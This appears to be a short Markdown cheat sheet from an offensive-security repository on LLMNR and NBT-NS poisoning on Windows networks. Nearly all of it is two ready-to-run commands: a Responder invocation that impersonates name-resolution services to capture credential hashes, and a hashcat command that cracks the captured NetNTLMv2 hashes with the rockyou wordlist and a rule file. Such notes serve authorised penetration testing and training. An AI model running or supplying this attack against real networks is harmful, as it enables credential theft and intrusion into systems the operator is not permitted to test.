killchain-compendium/Exploits/Windows/LLMNR.md

21 lines
566 B
Markdown

# Link Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS)
* __LLMNR__, name resolutions inside the local domain for other hosts
* __NBT-NS__, identifying hosts in the network by NetBIOS names
* Impersonating the actual service to get credentials
## Usage
* From [responder](./responder.md)
```sh
sudo responder -I <NIC> -rdw -v
```
* Dictionary attack on catched password
```sh
hashcat -m 5600 hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -r rules/OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule
```